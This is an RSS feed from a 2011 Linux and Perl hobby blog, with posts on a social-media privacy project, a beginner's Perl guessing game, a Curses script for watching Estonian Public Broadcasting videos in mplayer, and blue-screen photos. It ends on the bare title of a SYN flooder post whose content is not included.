<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jolttz &#38; Tom&#039;s blog</title>
	<atom:link href="http://kaabel.net/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://kaabel.net/blog</link>
	<description>GNU/Linux, Coding &#38; (Security) Hacking</description>
	<lastBuildDate>Sun, 20 Nov 2011 12:16:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Big Brother: a joint effort at finding information</title>
		<link>http://kaabel.net/blog/?p=1059</link>
		<comments>http://kaabel.net/blog/?p=1059#comments</comments>
		<pubDate>Sun, 18 Sep 2011 10:19:44 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Perl]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Big Brother]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[WWW::Mechanize]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=1059</guid>
		<description><![CDATA[Social media sites have come a long way since their start-ups in 2003/2004. They have integrated with our lives as people continually put more and more information online. This information is of value, to companies (like Facebook), but also to regular people. It is no longer uncommon for an employer to check a job applicant&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>Social media sites have come a long way since their start-ups in 2003/2004. They have integrated with our lives as people continually put more and more information online.<br />
<br />This information is of value, to companies (like Facebook), but also to regular people. It is no longer uncommon for an employer to check a job applicant&#8217;s Facebook, before deciding to hire him or her.<br />
<br />
Some people, usually privacy advocates, argue that social media websites hold too much information on us. In their opinion, people are posting too much (publicly visible) information on their profiles.<br />
<br /></br><br />
But just how much information do social media sites really hold on us? And how much information is too much information?<br />
<br />
<a href="https://github.com/0x80483fb/Big-Brother">Big Brother</a> is jolttz&#8217;s and my project at finding answers to these questions. If you&#8217;re interested in privacy-issues and like Perl programming (with WWW::Mechanize), then please join us. If you&#8217;re just curious, check out the <a href="https://github.com/0x80483fb/Big-Brother/blob/master/README">README</a>.<br />
<br />
If you have any comments/questions or would like to help us out, then please send one of us a message on Github or join #perlbar on irc.malvager.net. (:</p>
]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=1059</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jolttz&#8217;s first Perl script: NumberGame.pl</title>
		<link>http://kaabel.net/blog/?p=1055</link>
		<comments>http://kaabel.net/blog/?p=1055#comments</comments>
		<pubDate>Sat, 10 Sep 2011 11:36:55 +0000</pubDate>
		<dc:creator>jolttz</dc:creator>
				<category><![CDATA[Perl]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[basic]]></category>
		<category><![CDATA[first]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[guess]]></category>
		<category><![CDATA[Jolttz]]></category>
		<category><![CDATA[learn]]></category>
		<category><![CDATA[number]]></category>
		<category><![CDATA[numbergame]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=1055</guid>
		<description><![CDATA[Today I was going through my old scripts and found this number game. I&#8217;m pretty sure this was my first Perl script ever. It&#8217;s a game where computer generates a random number and then you have to guess what it is. It&#8217;s really basic and great to learn from if you have just started learning [...]]]></description>
			<content:encoded><![CDATA[<p>Today I was going through my old scripts and found this number game. I&#8217;m pretty sure this was my first Perl script ever. It&#8217;s a game where computer generates a random number and then you have to guess what it is. It&#8217;s really basic and great to learn from if you have just started learning Perl. There are even some explanations in comments. Have fun killing your time! <img src='http://kaabel.net/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><div class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #999;">#!/usr/bin/perl</span>
<span style="color: #999;"># NumberGame.pl</span>
<span style="color: #999;"># jolttz's first Perl script</span>
&nbsp;
<span style="color: #996600;">use</span> strict<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> warnings<span style="color: #CCC;">;</span>
&nbsp;
start<span style="color: #CCC;">:</span>
<span style="color: #996699;">print</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;Choose a range of numbers you want to be asked (Example: 10): &quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #996699;">chomp</span> <span style="color: #CCC;">&#40;</span><span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$intrand</span> <span style="color: #CCC;">=</span> <span style="color: #009999;">&lt;STDIN&gt;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Take the range</span>
&nbsp;
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$random</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">int</span> <span style="color: #996699;">rand</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$intrand</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Generate a random number in the range of input</span>
<span style="color: #996699;">print</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;Now pick a number: &quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$number</span> <span style="color: #CCC;">=</span> <span style="color: #009999;">&lt;STDIN&gt;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Take the number</span>
&nbsp;
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$number</span> <span style="color: #CCC;">==</span> <span style="color: #7AB9BE;">$random</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If picked the same as computer</span>
     <span style="color: #996699;">print</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;You picked the same number as computer, congratz!<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
     <span style="color: #996699;">sleep</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">2</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Wait 2 seconds</span>
     <span style="color: #996699;">system</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;clear&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Clear screen</span>
<span style="color: #CCC;">&#125;</span> <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Else</span>
     <span style="color: #996699;">print</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;You picked wrong number. Computer picked $random.<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
     <span style="color: #996699;">sleep</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">2</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
     <span style="color: #996699;">system</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;clear&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #996699;">print</span> <span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;Do you want to play again?(Y/n)&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Ask to play again</span>
<span style="color: #996699;">chomp</span> <span style="color: #CCC;">&#40;</span><span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$again</span> <span style="color: #CCC;">=</span> <span style="color: #009999;">&lt;STDIN&gt;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$again</span> <span style="color: #3D9EDD;">eq</span> <span style="color: #7ACC00;">&quot;n&quot;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># If doesn't want to play again</span>
    <span style="color: #996699;">exit</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Then exit</span>
<span style="color: #CCC;">&#125;</span> <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span> <span style="color: #999;"># Else</span>
    <span style="color: #996699;">system</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;clear&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #999;"># Clear screen</span>
    <span style="color: #996699;">goto</span> start <span style="color: #999;"># Return to beginning</span>
<span style="color: #CCC;">&#125;</span></pre></div></div></div>

]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=1055</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Estonian Public Broadcasting videos on Linux (Eesti Rahvusringhääling)</title>
		<link>http://kaabel.net/blog/?p=1030</link>
		<comments>http://kaabel.net/blog/?p=1030#comments</comments>
		<pubDate>Sat, 14 May 2011 12:07:59 +0000</pubDate>
		<dc:creator>jolttz</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=1030</guid>
		<description><![CDATA[This post is mostly for Estonians so decide yourself, if you want to read it or not. Eesti Rahvusringhääling (ERR) – Estonian Public Broadcasting – is a publicly funded radio and television organisation created in Estonia on 1 June 2007 to take over the functions of the formerly separate Eesti Raadio (ER) (Estonian Radio) and [...]]]></description>
			<content:encoded><![CDATA[<p>This post is mostly for Estonians so decide yourself, if you want to read it or not.<br />
<br />
Eesti Rahvusringhääling (ERR) – Estonian Public Broadcasting – is a publicly funded radio and television organisation created in Estonia on 1 June 2007 to take over the functions of the formerly separate Eesti Raadio (ER) (Estonian Radio) and Eesti Televisioon (ETV) (Estonian Television), under the terms of the Estonian National Broadcasting Act.<br />
<br />
ERR uses MS Silverlight to display videos on its website, so watching the videos is quite complicated for Linux users. You would have to view the source of the page that displays the video, get the stream link, replace &#8220;http://&#8221; with &#8220;mmsh://&#8221; and then use mplayer or such to watch the video from the stream. Doing this for one time only isn&#8217;t that annoying but if you want to watch them daily, it can be really time consuming.<br />
<br />
For that purpose, I wrote this Perl script to display 20 last headlines of the videos using Curses so you can then choose the video, you want to watch, and the script would open the stream in mplayer. With little changes you could make the script use almost any other video player (VLC, xine etc.) to display the video.</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_1034" class="wp-caption aligncenter" style="width: 477px"><a href="http://kaabel.net/blog/wp-content/uploads/2011/05/2011-05-14-153621_667x834_scrot.png"><img class="size-full wp-image-1034 " title="ERR Player" src="http://kaabel.net/blog/wp-content/uploads/2011/05/2011-05-14-153621_667x834_scrot.png" alt="" width="467" height="584" /></a><p class="wp-caption-text">ERR Player</p></div>
<p style="text-align: center;">&nbsp;</p>
<p style="text-align: left;">To run this script you need mplayer and two modules: LWP::UserAgent and Curses::UI. Arch users can simply enter &#8220;sudo pacman -S perl-libwww perl-curses-ui&#8221; to command line. There are two key bindings: &#8220;q&#8221; to quit and &#8220;r&#8221; to reload links.</p>
<p style="text-align: left;">&nbsp;</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><div class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #999;">#!/usr/bin/perl</span>
<span style="color: #999;">#!/usr/bin/perl</span>
<span style="color: #999;">#    err-player.pl</span>
<span style="color: #999;"># Sun Apr 03 11:59:17 2010</span>
<span style="color: #999;"># jolttz{ät}gmail{dot}com</span>
<span style="color: #999;"># Distributed under the terms of</span>
<span style="color: #999;"># the GNU General Public License</span>
<span style="color: #999;">#</span>
<span style="color: #996600;">use</span> LWP<span style="color: #CCC;">::</span><span style="color: #FFF;">UserAgent</span><span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> Curses<span style="color: #CCC;">::</span><span style="color: #FFF;">UI</span><span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> strict<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> warnings<span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$url</span> <span style="color: #CCC;">=</span> <span style="color: #7ACC00;">&quot;http://uudised.err.ee/index.php?0534915&quot;</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #CCC;">@</span><span style="color: #996699;">values</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">1</span> <span style="color: #CCC;">..</span> <span style="color: #FFCC00;">20</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">@parsed_links</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">@stream_links</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$listbox</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">%titles</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$prog</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$jr</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$link</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$cui</span> <span style="color: #CCC;">=</span> Curses<span style="color: #CCC;">::</span><span style="color: #FFF;">UI</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">new</span><span style="color: #CCC;">&#40;</span> 
    <span style="color: #CCC;">-</span>clear_on_exit <span style="color: #CCC;">=&gt;</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">,</span>
    <span style="color: #CCC;">-</span>color_support <span style="color: #CCC;">=&gt;</span> <span style="color: #FFCC00;">1</span> 
  <span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$win</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$cui</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">add</span><span style="color: #CCC;">&#40;</span> 
    <span style="color: #7ACC00;">'window_id'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">'Window'</span><span style="color: #CCC;">,</span> 
    <span style="color: #CCC;">-</span>border <span style="color: #CCC;">=&gt;</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">,</span> 
  <span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #7AB9BE;">$cui</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">progress</span><span style="color: #CCC;">&#40;</span>
    <span style="color: #CCC;">-</span>max <span style="color: #CCC;">=&gt;</span> <span style="color: #FFCC00;">20</span><span style="color: #CCC;">,</span>
        <span style="color: #CCC;">-</span>message <span style="color: #CCC;">=&gt;</span> <span style="color: #7ACC00;">&quot;Laen, palun oota...&quot;</span><span style="color: #CCC;">,</span>
    <span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #7AB9BE;">$cui</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">set_binding</span><span style="color: #CCC;">&#40;</span><span style="color: #996600;">sub</span> <span style="color: #CCC;">&#123;</span><span style="color: #996699;">exit</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">0</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#125;</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">&quot;q&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #7AB9BE;">$cui</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">set_binding</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">\&amp;load_data</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">&quot;r&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #7AB9BE;">&amp;load_data</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #7AB9BE;">$listbox</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$win</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">add</span><span style="color: #CCC;">&#40;</span>
    <span style="color: #7ACC00;">'mylistbox'</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">'Listbox'</span><span style="color: #CCC;">,</span>
    <span style="color: #CCC;">-</span><span style="color: #996699;">values</span>    <span style="color: #CCC;">=&gt;</span> <span style="color: #CCC;">&#91;</span> <span style="color: #CCC;">@</span><span style="color: #996699;">values</span> <span style="color: #CCC;">&#93;</span><span style="color: #CCC;">,</span>
    <span style="color: #CCC;">-</span>labels    <span style="color: #CCC;">=&gt;</span> <span style="color: #CCC;">&#123;</span> <span style="color: #7AB9BE;">%titles</span> <span style="color: #CCC;">&#125;</span><span style="color: #CCC;">,</span>
    <span style="color: #CCC;">-</span>multi     <span style="color: #CCC;">=&gt;</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">,</span>
    <span style="color: #CCC;">-</span>onchange  <span style="color: #CCC;">=&gt;</span> <span style="color: #7AB9BE;">\&amp;open_video</span>
  <span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
&nbsp;
  <span style="color: #7AB9BE;">$listbox</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">focus</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$cui</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">mainloop</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #996600;">sub</span> open_video <span style="color: #CCC;">&#123;</span>
  <span style="color: #996699;">system</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;mplayer &quot;</span><span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$stream_links</span><span style="color: #CCC;">&#91;</span><span style="color: #7AB9BE;">$listbox</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">get_active_id</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">+</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot; &gt;&gt; /dev/null 2&gt;&amp;1 &amp;&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #996600;">sub</span> load_data <span style="color: #CCC;">&#123;</span>
  <span style="color: #7AB9BE;">@parsed_links</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">@stream_links</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$listbox</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">%titles</span> <span style="color: #CCC;">=</span> <span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$prog</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
  <span style="color: #7AB9BE;">$jr</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">0</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$content</span> <span style="color: #CCC;">=</span> get_content<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$url</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">@content_lines</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">split</span> <span style="color: #33CC66;">/\n/</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$content</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #3D9EDD;">foreach</span> <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$line</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">@content_lines</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
      <span style="color: #3D9EDD;">if</span>  <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$line</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/id=(\d+)/i</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
      <span style="color: #7AB9BE;">$link</span> <span style="color: #CCC;">=</span> parse<span style="color: #CCC;">&#40;</span><span style="color: #0000ff;">$1</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
      <span style="color: #996699;">push</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">@parsed_links</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$link</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
      <span style="color: #7AB9BE;">$cui</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">setprogress</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$prog</span><span style="color: #CCC;">++</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
      <span style="color: #CCC;">&#125;</span>
  <span style="color: #CCC;">&#125;</span>
  <span style="color: #7AB9BE;">$cui</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">reset_curses</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #996600;">sub</span> get_content <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$url</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">shift</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$ua</span> <span style="color: #CCC;">=</span> LWP<span style="color: #CCC;">::</span><span style="color: #FFF;">UserAgent</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">new</span><span style="color: #CCC;">&#40;</span>
    agent <span style="color: #CCC;">=&gt;</span> <span style="color: #7ACC00;">&quot;ERR Parser&quot;</span>
  <span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$result</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$ua</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">get</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$url</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$content</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$result</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">content</span> <span style="color: #3D9EDD;">if</span> <span style="color: #7AB9BE;">$result</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">is_success</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #996699;">return</span> <span style="color: #7AB9BE;">$content</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #996600;">sub</span> parse <span style="color: #CCC;">&#123;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$id</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">shift</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$url</span> <span style="color: #CCC;">=</span> <span style="color: #7ACC00;">&quot;http://uudised.err.ee/index.php?0&amp;popup=video&amp;id=&quot;</span><span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$id</span><span style="color: #CCC;">;</span>
  <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$content</span> <span style="color: #CCC;">=</span> get_content<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$url</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$content</span> <span style="color: #CCC;">=~</span> <span style="color: #7ACC00;">&quot;&lt;title&gt;(.*)&lt;/title&gt;&quot;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #7AB9BE;">$jr</span><span style="color: #CCC;">++;</span>
    <span style="color: #7AB9BE;">$titles</span><span style="color: #CCC;">&#123;</span> <span style="color: #7AB9BE;">$jr</span> <span style="color: #CCC;">&#125;</span> <span style="color: #CCC;">=</span> <span style="color: #0000ff;">$1</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
&nbsp;
  <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$content</span> <span style="color: #CCC;">=~</span> <span style="color: #7ACC00;">&quot;filename=<span style="color: #99FF00;">\&quot;</span>.+(wms02.mmm.elion.ee/uudised/.+)<span style="color: #99FF00;">\&quot;</span>&quot;</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
    <span style="color: #996699;">push</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">@stream_links</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">&quot;mmsh://$1&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
    <span style="color: #996699;">return</span> <span style="color: #0000ff;">$1</span><span style="color: #CCC;">;</span>
  <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span></pre></div></div></div>

]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=1030</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BSoD on a video arcade machine</title>
		<link>http://kaabel.net/blog/?p=949</link>
		<comments>http://kaabel.net/blog/?p=949#comments</comments>
		<pubDate>Sun, 20 Feb 2011 13:42:50 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[blue screen of deat]]></category>
		<category><![CDATA[bsod]]></category>
		<category><![CDATA[games]]></category>
		<category><![CDATA[video arcade machine]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://kaabel.net/blog/?p=949</guid>
		<description><![CDATA[It&#8217;s often heard as an argument against using GNU/Linux: &#8220;You can&#8217;t play (modern) games on it [as opposed to Windows].&#8221; But can you actually play games on Windows machines? Your initial answer might be yes, but maybe you should reconsider that? BSoD on a video arcade machine at Helsinki Airport The video arcade machine itself]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s often heard as an argument against using GNU/Linux: &#8220;You can&#8217;t play (modern) games on it [as opposed to Windows].&#8221; But can you actually play games on Windows machines? Your initial answer might be yes, but maybe you should reconsider that?<br />
<br />
BSoD on a video arcade machine at Helsinki Airport<br />
<img src="http://kaabel.net/blog/wp-content/uploads/2011/02/BSOD1-1024x768.jpg" alt="" title="Blue Screen of Death" width="650" height="400" class="aligncenter size-large wp-image-953" /><br />
<br />
The video arcade machine itself<br />
<img src="http://kaabel.net/blog/wp-content/uploads/2011/02/BSOD2-1024x768.jpg" alt="" title="Video arcade machine with BSoD" width="650" height="400" class="aligncenter size-large wp-image-956" /></p>
]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=949</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TCP &amp; SYN flooder (Perl)</title>
		<link>http://kaabel.net/blog/?p=930</link>
		<comments>http://kaabel.net/blog/?p=930#comments</comments>
		<pubDate>Thu, 20 Jan 2011 17:11:18 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
